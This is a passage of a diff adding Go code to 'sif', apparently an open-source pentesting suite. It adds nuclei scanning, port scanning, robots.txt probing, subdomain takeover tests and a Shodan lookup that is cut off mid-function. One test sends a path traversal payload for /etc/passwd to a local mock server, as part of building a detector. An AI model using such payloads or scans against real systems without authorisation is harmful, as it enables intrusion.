}
|
||||
if matched != tc.shouldMatch {
|
||||
t.Errorf("pattern match for %s: got %v, want %v", tc.description, matched, tc.shouldMatch)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestLFI_MockServer(t *testing.T) {
|
||||
server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
file := r.URL.Query().Get("file")
|
||||
if file == "../../../../../../../etc/passwd" || file == "/etc/passwd" {
|
||||
w.WriteHeader(http.StatusOK)
|
||||
w.Write([]byte("root:x:0:0:root:/root:/bin/bash\nnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin"))
|
||||
} else {
|
||||
w.WriteHeader(http.StatusOK)
|
||||
w.Write([]byte("<html><body>Normal page</body></html>"))
|
||||
}
|
||||
}))
|
||||
defer server.Close()
|
||||
|
||||
// verify server returns passwd content for LFI payload
|
||||
resp, err := http.Get(server.URL + "/?file=../../../../../../../etc/passwd")
|
||||
if err != nil {
|
||||
t.Fatalf("failed to make request: %v", err)
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
t.Errorf("expected status 200, got %d", resp.StatusCode)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,132 @@
|
||||
/*
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
: :
|
||||
: █▀ █ █▀▀ · Blazing-fast pentesting suite :
|
||||
: ▄█ █ █▀ · BSD 3-Clause License :
|
||||
: :
|
||||
: (c) 2022-2025 vmfunc, xyzeva, :
|
||||
: lunchcat alumni & contributors :
|
||||
: :
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
*/
|
||||
|
||||
package scan
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"os"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/charmbracelet/log"
|
||||
"github.com/dropalldatabases/sif/internal/nuclei/format"
|
||||
"github.com/dropalldatabases/sif/internal/nuclei/templates"
|
||||
"github.com/dropalldatabases/sif/internal/styles"
|
||||
"github.com/projectdiscovery/nuclei/v2/pkg/catalog/config"
|
||||
"github.com/projectdiscovery/nuclei/v2/pkg/catalog/disk"
|
||||
"github.com/projectdiscovery/nuclei/v2/pkg/catalog/loader"
|
||||
"github.com/projectdiscovery/nuclei/v2/pkg/core"
|
||||
"github.com/projectdiscovery/nuclei/v2/pkg/core/inputs"
|
||||
"github.com/projectdiscovery/nuclei/v2/pkg/output"
|
||||
"github.com/projectdiscovery/nuclei/v2/pkg/parsers"
|
||||
"github.com/projectdiscovery/nuclei/v2/pkg/protocols"
|
||||
"github.com/projectdiscovery/nuclei/v2/pkg/protocols/common/contextargs"
|
||||
"github.com/projectdiscovery/nuclei/v2/pkg/protocols/common/hosterrorscache"
|
||||
"github.com/projectdiscovery/nuclei/v2/pkg/protocols/common/interactsh"
|
||||
"github.com/projectdiscovery/nuclei/v2/pkg/protocols/common/protocolinit"
|
||||
"github.com/projectdiscovery/nuclei/v2/pkg/protocols/common/protocolstate"
|
||||
"github.com/projectdiscovery/nuclei/v2/pkg/reporting"
|
||||
"github.com/projectdiscovery/nuclei/v2/pkg/testutils"
|
||||
"github.com/projectdiscovery/nuclei/v2/pkg/types"
|
||||
"github.com/projectdiscovery/ratelimit"
|
||||
)
|
||||
|
||||
func Nuclei(url string, timeout time.Duration, threads int, logdir string) ([]output.ResultEvent, error) {
|
||||
fmt.Println(styles.Separator.Render("⚛️ Starting " + styles.Status.Render("nuclei template scanning") + "..."))
|
||||
|
||||
sanitizedURL := strings.Split(url, "://")[1]
|
||||
|
||||
nucleilog := log.NewWithOptions(os.Stderr, log.Options{
|
||||
Prefix: "nuclei ⚛️",
|
||||
}).With("url", url)
|
||||
|
||||
// Apply threads, timeout, log settings
|
||||
options := types.DefaultOptions()
|
||||
options.TemplateThreads = threads
|
||||
options.Timeout = int(timeout.Seconds())
|
||||
|
||||
// Get templates
|
||||
templates.Install(nucleilog)
|
||||
pwd, err := os.Getwd()
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("failed to get working directory: %w", err)
|
||||
}
|
||||
config.DefaultConfig.SetTemplatesDir(pwd)
|
||||
catalog := disk.NewCatalog(pwd)
|
||||
|
||||
results := []output.ResultEvent{}
|
||||
// Custom output
|
||||
outputWriter := testutils.NewMockOutputWriter()
|
||||
outputWriter.WriteCallback = func(event *output.ResultEvent) {
|
||||
if event.Matched != "" {
|
||||
nucleilog.Infof("%s", format.FormatLine(event))
|
||||
|
||||
results = append(results, *event)
|
||||
// TODO: metasploit
|
||||
}
|
||||
}
|
||||
|
||||
cache := hosterrorscache.New(30, hosterrorscache.DefaultMaxHostsCount, nil)
|
||||
defer cache.Close()
|
||||
|
||||
progressClient := &testutils.MockProgressClient{}
|
||||
reportingClient, err := reporting.New(&reporting.Options{}, "")
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("failed to create reporting client: %w", err)
|
||||
}
|
||||
defer reportingClient.Close()
|
||||
|
||||
interactOpts := interactsh.DefaultOptions(outputWriter, reportingClient, progressClient)
|
||||
interactClient, err := interactsh.New(interactOpts)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer interactClient.Close()
|
||||
|
||||
protocolstate.Init(options)
|
||||
protocolinit.Init(options)
|
||||
|
||||
executorOpts := protocols.ExecutorOptions{
|
||||
Output: outputWriter,
|
||||
Progress: progressClient,
|
||||
Catalog: catalog,
|
||||
Options: options,
|
||||
IssuesClient: reportingClient,
|
||||
RateLimiter: ratelimit.New(context.Background(), 150, time.Second),
|
||||
Interactsh: interactClient,
|
||||
ResumeCfg: types.NewResumeCfg(),
|
||||
}
|
||||
engine := core.New(options)
|
||||
engine.SetExecuterOptions(executorOpts)
|
||||
|
||||
workflowLoader, err := parsers.NewLoader(&executorOpts)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
executorOpts.WorkflowLoader = workflowLoader
|
||||
|
||||
store, err := loader.New(loader.NewConfig(options, catalog, executorOpts))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
store.Load()
|
||||
|
||||
inputArgs := []*contextargs.MetaInput{{Input: sanitizedURL}}
|
||||
input := &inputs.SimpleInputProvider{Inputs: inputArgs}
|
||||
|
||||
_ = engine.Execute(store.Templates(), input)
|
||||
engine.WorkPool().Wait()
|
||||
|
||||
return results, nil
|
||||
}
|
||||
@@ -0,0 +1,106 @@
|
||||
/*
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
: :
|
||||
: █▀ █ █▀▀ · Blazing-fast pentesting suite :
|
||||
: ▄█ █ █▀ · BSD 3-Clause License :
|
||||
: :
|
||||
: (c) 2022-2025 vmfunc, xyzeva, :
|
||||
: lunchcat alumni & contributors :
|
||||
: :
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
*/
|
||||
|
||||
package scan
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"fmt"
|
||||
"net"
|
||||
"net/http"
|
||||
"os"
|
||||
"strconv"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"github.com/charmbracelet/log"
|
||||
"github.com/dropalldatabases/sif/internal/logger"
|
||||
"github.com/dropalldatabases/sif/internal/styles"
|
||||
)
|
||||
|
||||
const commonPorts = "https://raw.githubusercontent.com/dropalldatabases/sif-runtime/main/ports/top-ports.txt"
|
||||
|
||||
func Ports(scope string, url string, timeout time.Duration, threads int, logdir string) ([]string, error) {
|
||||
log.Printf("%s", styles.Separator.Render("🚪 Starting "+styles.Status.Render("port scanning")+"..."))
|
||||
|
||||
sanitizedURL := strings.Split(url, "://")[1]
|
||||
if logdir != "" {
|
||||
if err := logger.WriteHeader(sanitizedURL, logdir, scope+" port scanning"); err != nil {
|
||||
log.Errorf("Error creating log file: %v", err)
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
|
||||
portlog := log.NewWithOptions(os.Stderr, log.Options{
|
||||
Prefix: "Ports 🚪",
|
||||
})
|
||||
|
||||
portlog.Infof("Starting %s port scanning", scope)
|
||||
|
||||
var ports []int
|
||||
switch scope {
|
||||
case "common":
|
||||
resp, err := http.Get(commonPorts)
|
||||
if err != nil {
|
||||
log.Errorf("Error downloading ports list: %s", err)
|
||||
return nil, err
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
scanner := bufio.NewScanner(resp.Body)
|
||||
scanner.Split(bufio.ScanLines)
|
||||
for scanner.Scan() {
|
||||
if port, err := strconv.Atoi(scanner.Text()); err == nil {
|
||||
ports = append(ports, port)
|
||||
}
|
||||
}
|
||||
case "full":
|
||||
ports = make([]int, 65536)
|
||||
for i := range ports {
|
||||
ports[i] = i
|
||||
}
|
||||
}
|
||||
|
||||
var openPorts []string
|
||||
var wg sync.WaitGroup
|
||||
wg.Add(threads)
|
||||
for thread := 0; thread < threads; thread++ {
|
||||
go func(thread int) {
|
||||
defer wg.Done()
|
||||
|
||||
for i, port := range ports {
|
||||
if i%threads != thread {
|
||||
continue
|
||||
}
|
||||
|
||||
log.Debugf("Looking up: %d", port)
|
||||
tcp, err := net.DialTimeout("tcp", fmt.Sprintf("%s:%d", sanitizedURL, port), timeout)
|
||||
if err != nil {
|
||||
log.Debugf("Error %d: %v", port, err)
|
||||
} else {
|
||||
openPorts = append(openPorts, strconv.Itoa(port))
|
||||
portlog.Infof("%s %s:%s", styles.Status.Render("[tcp]"), sanitizedURL, styles.Highlight.Render(strconv.Itoa(port)))
|
||||
tcp.Close()
|
||||
}
|
||||
}
|
||||
}(thread)
|
||||
}
|
||||
wg.Wait()
|
||||
|
||||
if len(openPorts) > 0 {
|
||||
portlog.Infof("Found %d open ports: %s", len(openPorts), strings.Join(openPorts, ", "))
|
||||
} else {
|
||||
portlog.Error("Found no open ports")
|
||||
}
|
||||
|
||||
return openPorts, nil
|
||||
}
|
||||
@@ -0,0 +1,58 @@
|
||||
/*
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
: :
|
||||
: █▀ █ █▀▀ · Blazing-fast pentesting suite :
|
||||
: ▄█ █ █▀ · BSD 3-Clause License :
|
||||
: :
|
||||
: (c) 2022-2025 vmfunc, xyzeva, :
|
||||
: lunchcat alumni & contributors :
|
||||
: :
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
*/
|
||||
|
||||
package scan
|
||||
|
||||
// Named slice types for scan results.
|
||||
// These provide better type safety and allow method implementations.
|
||||
type (
|
||||
HeaderResults []HeaderResult
|
||||
DirectoryResults []DirectoryResult
|
||||
CloudStorageResults []CloudStorageResult
|
||||
DorkResults []DorkResult
|
||||
SubdomainTakeoverResults []SubdomainTakeoverResult
|
||||
)
|
||||
|
||||
// ScanResult is the interface that all scan result types implement.
|
||||
// This enables type-safe handling of heterogeneous scan results.
|
||||
type ScanResult interface {
|
||||
// ResultType returns the unique identifier for this result type.
|
||||
ResultType() string
|
||||
}
|
||||
|
||||
// ResultType implementations for pointer result types.
|
||||
|
||||
func (r *ShodanResult) ResultType() string { return "shodan" }
|
||||
func (r *SQLResult) ResultType() string { return "sql" }
|
||||
func (r *LFIResult) ResultType() string { return "lfi" }
|
||||
func (r *CMSResult) ResultType() string { return "cms" }
|
||||
|
||||
// ResultType implementations for slice result types.
|
||||
|
||||
func (r HeaderResults) ResultType() string { return "headers" }
|
||||
func (r DirectoryResults) ResultType() string { return "dirlist" }
|
||||
func (r CloudStorageResults) ResultType() string { return "cloudstorage" }
|
||||
func (r DorkResults) ResultType() string { return "dork" }
|
||||
func (r SubdomainTakeoverResults) ResultType() string { return "subdomain_takeover" }
|
||||
|
||||
// Compile-time interface satisfaction checks.
|
||||
var (
|
||||
_ ScanResult = (*ShodanResult)(nil)
|
||||
_ ScanResult = (*SQLResult)(nil)
|
||||
_ ScanResult = (*LFIResult)(nil)
|
||||
_ ScanResult = (*CMSResult)(nil)
|
||||
_ ScanResult = HeaderResults(nil)
|
||||
_ ScanResult = DirectoryResults(nil)
|
||||
_ ScanResult = CloudStorageResults(nil)
|
||||
_ ScanResult = DorkResults(nil)
|
||||
_ ScanResult = SubdomainTakeoverResults(nil)
|
||||
)
|
||||
@@ -0,0 +1,138 @@
|
||||
/*
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
: :
|
||||
: █▀ █ █▀▀ · Blazing-fast pentesting suite :
|
||||
: ▄█ █ █▀ · BSD 3-Clause License :
|
||||
: :
|
||||
: (c) 2022-2025 vmfunc, xyzeva, :
|
||||
: lunchcat alumni & contributors :
|
||||
: :
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
*/
|
||||
|
||||
// The scan package provides a collection of security scanning functions.
|
||||
//
|
||||
// Each scanning function typically returns a slice of custom result structures and an error.
|
||||
// The package utilizes concurrent operations to improve scanning performance and provides
|
||||
// options for logging and timeout management.
|
||||
package scan
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"fmt"
|
||||
"net/http"
|
||||
"os"
|
||||
"strconv"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"github.com/charmbracelet/log"
|
||||
"github.com/dropalldatabases/sif/internal/logger"
|
||||
"github.com/dropalldatabases/sif/internal/styles"
|
||||
)
|
||||
|
||||
func fetchRobotsTXT(url string, client *http.Client) *http.Response {
|
||||
resp, err := client.Get(url)
|
||||
if err != nil {
|
||||
log.Debugf("Error fetching robots.txt: %s", err)
|
||||
return nil
|
||||
}
|
||||
|
||||
if resp.StatusCode == http.StatusMovedPermanently {
|
||||
redirectURL := resp.Header.Get("Location")
|
||||
if redirectURL == "" {
|
||||
log.Debugf("Redirect location is empty for %s", url)
|
||||
return nil
|
||||
}
|
||||
resp.Body.Close()
|
||||
return fetchRobotsTXT(redirectURL, client)
|
||||
}
|
||||
|
||||
return resp
|
||||
}
|
||||
|
||||
// Scan performs a basic URL scan, including checks for robots.txt and other common endpoints.
|
||||
// It logs the results and doesn't return any values.
|
||||
//
|
||||
// Parameters:
|
||||
// - url: the target URL to scan
|
||||
// - timeout: maximum duration for the scan
|
||||
// - threads: number of concurrent threads to use
|
||||
// - logdir: directory to store log files (empty string for no logging)
|
||||
func Scan(url string, timeout time.Duration, threads int, logdir string) {
|
||||
fmt.Println(styles.Separator.Render("🐾 Starting " + styles.Status.Render("base url scanning") + "..."))
|
||||
|
||||
sanitizedURL := strings.Split(url, "://")[1]
|
||||
|
||||
if logdir != "" {
|
||||
if err := logger.WriteHeader(sanitizedURL, logdir, "URL scanning"); err != nil {
|
||||
log.Errorf("Error creating log file: %v", err)
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
scanlog := log.NewWithOptions(os.Stderr, log.Options{
|
||||
Prefix: "Scan 👁️🗨️",
|
||||
}).With("url", url)
|
||||
|
||||
client := &http.Client{
|
||||
Timeout: timeout,
|
||||
CheckRedirect: func(req *http.Request, via []*http.Request) error {
|
||||
return http.ErrUseLastResponse
|
||||
},
|
||||
}
|
||||
|
||||
resp := fetchRobotsTXT(url+"/robots.txt", client)
|
||||
if resp == nil {
|
||||
return
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
|
||||
if resp.StatusCode != 404 && resp.StatusCode != 301 && resp.StatusCode != 302 && resp.StatusCode != 307 {
|
||||
scanlog.Infof("file [%s] found", styles.Status.Render("robots.txt"))
|
||||
|
||||
var robotsData []string
|
||||
scanner := bufio.NewScanner(resp.Body)
|
||||
scanner.Split(bufio.ScanLines)
|
||||
for scanner.Scan() {
|
||||
robotsData = append(robotsData, scanner.Text())
|
||||
}
|
||||
|
||||
var wg sync.WaitGroup
|
||||
wg.Add(threads)
|
||||
for thread := 0; thread < threads; thread++ {
|
||||
go func(thread int) {
|
||||
defer wg.Done()
|
||||
|
||||
for i, robot := range robotsData {
|
||||
if i%threads != thread {
|
||||
continue
|
||||
}
|
||||
|
||||
if robot == "" || strings.HasPrefix(robot, "#") || strings.HasPrefix(robot, "User-agent: ") || strings.HasPrefix(robot, "Sitemap: ") {
|
||||
continue
|
||||
}
|
||||
|
||||
_, sanitizedRobot, _ := strings.Cut(robot, ": ")
|
||||
scanlog.Debugf("%s", robot)
|
||||
resp, err := client.Get(url + "/" + sanitizedRobot)
|
||||
if err != nil {
|
||||
scanlog.Debugf("Error %s: %s", sanitizedRobot, err)
|
||||
continue
|
||||
}
|
||||
|
||||
if resp.StatusCode != 404 {
|
||||
scanlog.Infof("%s from robots: [%s]", styles.Status.Render(strconv.Itoa(resp.StatusCode)), styles.Highlight.Render(sanitizedRobot))
|
||||
if logdir != "" {
|
||||
logger.Write(sanitizedURL, logdir, fmt.Sprintf("%s from robots: [%s]\n", strconv.Itoa(resp.StatusCode), sanitizedRobot))
|
||||
}
|
||||
}
|
||||
resp.Body.Close()
|
||||
}
|
||||
|
||||
}(thread)
|
||||
}
|
||||
wg.Wait()
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,202 @@
|
||||
package scan
|
||||
|
||||
import (
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"strings"
|
||||
"testing"
|
||||
"time"
|
||||
)
|
||||
|
||||
func TestCheckSubdomainTakeover_GitHubPages(t *testing.T) {
|
||||
server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
w.WriteHeader(http.StatusOK)
|
||||
w.Write([]byte("There isn't a GitHub Pages site here."))
|
||||
}))
|
||||
defer server.Close()
|
||||
|
||||
client := &http.Client{Timeout: 5 * time.Second}
|
||||
host := strings.TrimPrefix(server.URL, "http://")
|
||||
|
||||
vulnerable, service := checkSubdomainTakeover(host, client)
|
||||
|
||||
if !vulnerable {
|
||||
t.Error("expected subdomain to be vulnerable")
|
||||
}
|
||||
if service != "GitHub Pages" {
|
||||
t.Errorf("expected service 'GitHub Pages', got '%s'", service)
|
||||
}
|
||||
}
|
||||
|
||||
func TestCheckSubdomainTakeover_NotVulnerable(t *testing.T) {
|
||||
server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
w.WriteHeader(http.StatusOK)
|
||||
w.Write([]byte("<html><body>Normal website content</body></html>"))
|
||||
}))
|
||||
defer server.Close()
|
||||
|
||||
client := &http.Client{Timeout: 5 * time.Second}
|
||||
host := strings.TrimPrefix(server.URL, "http://")
|
||||
|
||||
vulnerable, service := checkSubdomainTakeover(host, client)
|
||||
|
||||
if vulnerable {
|
||||
t.Error("expected subdomain to not be vulnerable")
|
||||
}
|
||||
if service != "" {
|
||||
t.Errorf("expected empty service, got '%s'", service)
|
||||
}
|
||||
}
|
||||
|
||||
func TestCheckSubdomainTakeover_Heroku(t *testing.T) {
|
||||
server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
w.WriteHeader(http.StatusOK)
|
||||
w.Write([]byte("No such app"))
|
||||
}))
|
||||
defer server.Close()
|
||||
|
||||
client := &http.Client{Timeout: 5 * time.Second}
|
||||
host := strings.TrimPrefix(server.URL, "http://")
|
||||
|
||||
vulnerable, service := checkSubdomainTakeover(host, client)
|
||||
|
||||
if !vulnerable {
|
||||
t.Error("expected subdomain to be vulnerable")
|
||||
}
|
||||
if service != "Heroku" {
|
||||
t.Errorf("expected service 'Heroku', got '%s'", service)
|
||||
}
|
||||
}
|
||||
|
||||
func TestCheckSubdomainTakeover_AmazonS3(t *testing.T) {
|
||||
server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
w.WriteHeader(http.StatusNotFound)
|
||||
w.Write([]byte("The specified bucket does not exist"))
|
||||
}))
|
||||
defer server.Close()
|
||||
|
||||
client := &http.Client{Timeout: 5 * time.Second}
|
||||
host := strings.TrimPrefix(server.URL, "http://")
|
||||
|
||||
vulnerable, service := checkSubdomainTakeover(host, client)
|
||||
|
||||
if !vulnerable {
|
||||
t.Error("expected subdomain to be vulnerable")
|
||||
}
|
||||
if service != "Amazon S3" {
|
||||
t.Errorf("expected service 'Amazon S3', got '%s'", service)
|
||||
}
|
||||
}
|
||||
|
||||
func TestCheckSubdomainTakeover_ConnectionError(t *testing.T) {
|
||||
client := &http.Client{Timeout: 1 * time.Second}
|
||||
|
||||
// Use invalid host to simulate connection error
|
||||
vulnerable, service := checkSubdomainTakeover("invalid.host.that.does.not.exist.local", client)
|
||||
|
||||
if vulnerable {
|
||||
t.Error("expected subdomain to not be vulnerable on connection error")
|
||||
}
|
||||
if service != "" {
|
||||
t.Errorf("expected empty service, got '%s'", service)
|
||||
}
|
||||
}
|
||||
|
||||
func TestFetchRobotsTXT_Success(t *testing.T) {
|
||||
server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
if r.URL.Path == "/robots.txt" {
|
||||
w.WriteHeader(http.StatusOK)
|
||||
w.Write([]byte("User-agent: *\nDisallow: /admin"))
|
||||
}
|
||||
}))
|
||||
defer server.Close()
|
||||
|
||||
client := &http.Client{Timeout: 5 * time.Second}
|
||||
resp := fetchRobotsTXT(server.URL+"/robots.txt", client)
|
||||
|
||||
if resp == nil {
|
||||
t.Fatal("expected response, got nil")
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
t.Errorf("expected status 200, got %d", resp.StatusCode)
|
||||
}
|
||||
}
|
||||
|
||||
func TestFetchRobotsTXT_Redirect(t *testing.T) {
|
||||
finalServer := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
w.WriteHeader(http.StatusOK)
|
||||
w.Write([]byte("User-agent: *\nDisallow: /secret"))
|
||||
}))
|
||||
defer finalServer.Close()
|
||||
|
||||
redirectServer := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
w.Header().Set("Location", finalServer.URL+"/robots.txt")
|
||||
w.WriteHeader(http.StatusMovedPermanently)
|
||||
}))
|
||||
defer redirectServer.Close()
|
||||
|
||||
client := &http.Client{
|
||||
Timeout: 5 * time.Second,
|
||||
CheckRedirect: func(req *http.Request, via []*http.Request) error {
|
||||
return http.ErrUseLastResponse
|
||||
},
|
||||
}
|
||||
resp := fetchRobotsTXT(redirectServer.URL+"/robots.txt", client)
|
||||
|
||||
if resp == nil {
|
||||
t.Fatal("expected response after redirect, got nil")
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
t.Errorf("expected status 200, got %d", resp.StatusCode)
|
||||
}
|
||||
}
|
||||
|
||||
func TestSubdomainTakeoverResult(t *testing.T) {
|
||||
result := SubdomainTakeoverResult{
|
||||
Subdomain: "test.example.com",
|
||||
Vulnerable: true,
|
||||
Service: "GitHub Pages",
|
||||
}
|
||||
|
||||
if result.Subdomain != "test.example.com" {
|
||||
t.Errorf("expected subdomain 'test.example.com', got '%s'", result.Subdomain)
|
||||
}
|
||||
if !result.Vulnerable {
|
||||
t.Error("expected vulnerable to be true")
|
||||
}
|
||||
if result.Service != "GitHub Pages" {
|
||||
t.Errorf("expected service 'GitHub Pages', got '%s'", result.Service)
|
||||
}
|
||||
}
|
||||
|
||||
func TestDorkResult(t *testing.T) {
|
||||
result := DorkResult{
|
||||
Url: "site:example.com filetype:pdf",
|
||||
Count: 42,
|
||||
}
|
||||
|
||||
if result.Url != "site:example.com filetype:pdf" {
|
||||
t.Errorf("expected url 'site:example.com filetype:pdf', got '%s'", result.Url)
|
||||
}
|
||||
if result.Count != 42 {
|
||||
t.Errorf("expected count 42, got %d", result.Count)
|
||||
}
|
||||
}
|
||||
|
||||
func TestHeaderResult(t *testing.T) {
|
||||
result := HeaderResult{
|
||||
Name: "Content-Type",
|
||||
Value: "application/json",
|
||||
}
|
||||
|
||||
if result.Name != "Content-Type" {
|
||||
t.Errorf("expected name 'Content-Type', got '%s'", result.Name)
|
||||
}
|
||||
if result.Value != "application/json" {
|
||||
t.Errorf("expected value 'application/json', got '%s'", result.Value)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,360 @@
|
||||
/*
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
: :
|
||||
: █▀ █ █▀▀ · Blazing-fast pentesting suite :
|
||||
: ▄█ █ █▀ · BSD 3-Clause License :
|
||||
: :
|
||||
: (c) 2022-2025 vmfunc, xyzeva, :
|
||||
: lunchcat alumni & contributors :
|
||||
: :
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
*/
|
||||
|
||||
package scan
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"io"
|
||||
"net"
|
||||
"net/http"
|
||||
"net/url"
|
||||
"os"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/charmbracelet/log"
|
||||
"github.com/dropalldatabases/sif/internal/logger"
|
||||
"github.com/dropalldatabases/sif/internal/styles"
|
||||
)
|
||||
|
||||
const shodanBaseURL = "https://api.shodan.io"
|
||||
|
||||
// ShodanResult represents the results from a Shodan host lookup
|
||||
type ShodanResult struct {
|
||||
IP string `json:"ip_str"`
|
||||
Hostnames []string `json:"hostnames,omitempty"`
|
||||
Organization string `json:"org,omitempty"`
|
||||
ASN string `json:"asn,omitempty"`
|
||||
ISP string `json:"isp,omitempty"`
|
||||
Country string `json:"country_name,omitempty"`
|
||||
City string `json:"city,omitempty"`
|
||||
OS string `json:"os,omitempty"`
|
||||
Ports []int `json:"ports,omitempty"`
|
||||
Vulns []string `json:"vulns,omitempty"`
|
||||
Services []ShodanService `json:"services,omitempty"`
|
||||
LastUpdate string `json:"last_update,omitempty"`
|
||||
}
|
||||
|
||||
// ShodanService represents a service found by Shodan
|
||||
type ShodanService struct {
|
||||
Port int `json:"port"`
|
||||
Protocol string `json:"transport"`
|
||||
Product string `json:"product,omitempty"`
|
||||
Version string `json:"version,omitempty"`
|
||||
Banner string `json:"data,omitempty"`
|
||||
Module string `json:"_shodan,omitempty"`
|
||||
}
|
||||
|
||||
// shodanHostResponse is the raw response from Shodan API
|
||||
type shodanHostResponse struct {
|
||||
IP string `json:"ip_str"`
|
||||
Hostnames []string `json:"hostnames"`
|
||||
Org string `json:"org"`
|
||||
ASN string `json:"asn"`
|
||||
ISP string `json:"isp"`
|
||||
CountryName string `json:"country_name"`
|
||||
City string `json:"city"`
|
||||
OS string `json:"os"`
|
||||
Ports []int `json:"ports"`
|
||||
Vulns []string `json:"vulns"`
|
||||
Data []shodanData `json:"data"`
|
||||
LastUpdate string `json:"last_update"`
|
||||
}
|
||||
|
||||
// shodanMetadata represents the _shodan field in Shodan API responses.
|
||||
// This provides type safety instead of using map[string]interface{}.
|
||||
type shodanMetadata struct {
|
||||
Module string `json:"module"`
|
||||
Crawler string `json:"crawler,omitempty"`
|
||||
ID string `json:"id,omitempty"`
|
||||
Ptr bool `json:"ptr,omitempty"`
|
||||
}
|
||||
|
||||
type shodanData struct {
|
||||
Port int `json:"port"`
|
||||
Transport string `json:"transport"`
|
||||
Product string `json:"product"`
|
||||
Version string `json:"version"`
|
||||
Data string `json:"data"`
|
||||
Shodan shodanMetadata `json:"_shodan"`
|
||||
}
|
||||
|
||||
// Shodan performs a Shodan lookup for the given URL
|
||||
// The API key should be provided via the SHODAN_API_KEY environment variable
|
||||
func Shodan(targetURL string, timeout time.Duration, logdir string) (*ShodanResult, error) {
|
||||
fmt.Println(styles.Separator.Render("🔍 Starting " + styles.Status.Render("Shodan lookup") + "..."))
|
||||
|
||||
shodanlog := log.NewWithOptions(os.Stderr, log.Options{
|
||||
Prefix: "Shodan 🔍",
|
||||
}).With("url", targetURL)
|
||||
|
||||
apiKey := os.Getenv("SHODAN_API_KEY")
|
||||
if apiKey == "" {
|
||||
shodanlog.Warn("SHODAN_API_KEY environment variable not set, skipping Shodan lookup")
|
||||
return nil, fmt.Errorf("SHODAN_API_KEY environment variable not set")
|
||||
}
|
||||
|
||||
// extract hostname from URL
|
||||
parsedURL, err := url.Parse(targetURL)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("failed to parse URL: %w", err)
|
||||
}
|
||||
hostname := parsedURL.Hostname()
|
||||
|
||||
// resolve hostname to IP
|
||||
ip, err := resolveHostname(hostname)
|
||||
if err != nil {
|
||||
shodanlog.Warnf("Failed to resolve hostname %s: %v", hostname, err)
|
||||
return nil, fmt.Errorf("failed to resolve hostname: %w", err)
|
||||
}
|
||||
|
||||
shodanlog.Infof("Resolved %s to %s", hostname, ip)
|
||||
|
||||
// query Shodan API
|
||||
result, err := queryShodanHost(ip, apiKey, timeout)
|
||||
if err != nil {
|
||||
shodanlog.Warnf("Shodan lookup failed: %v", err)
|
||||
return nil, err
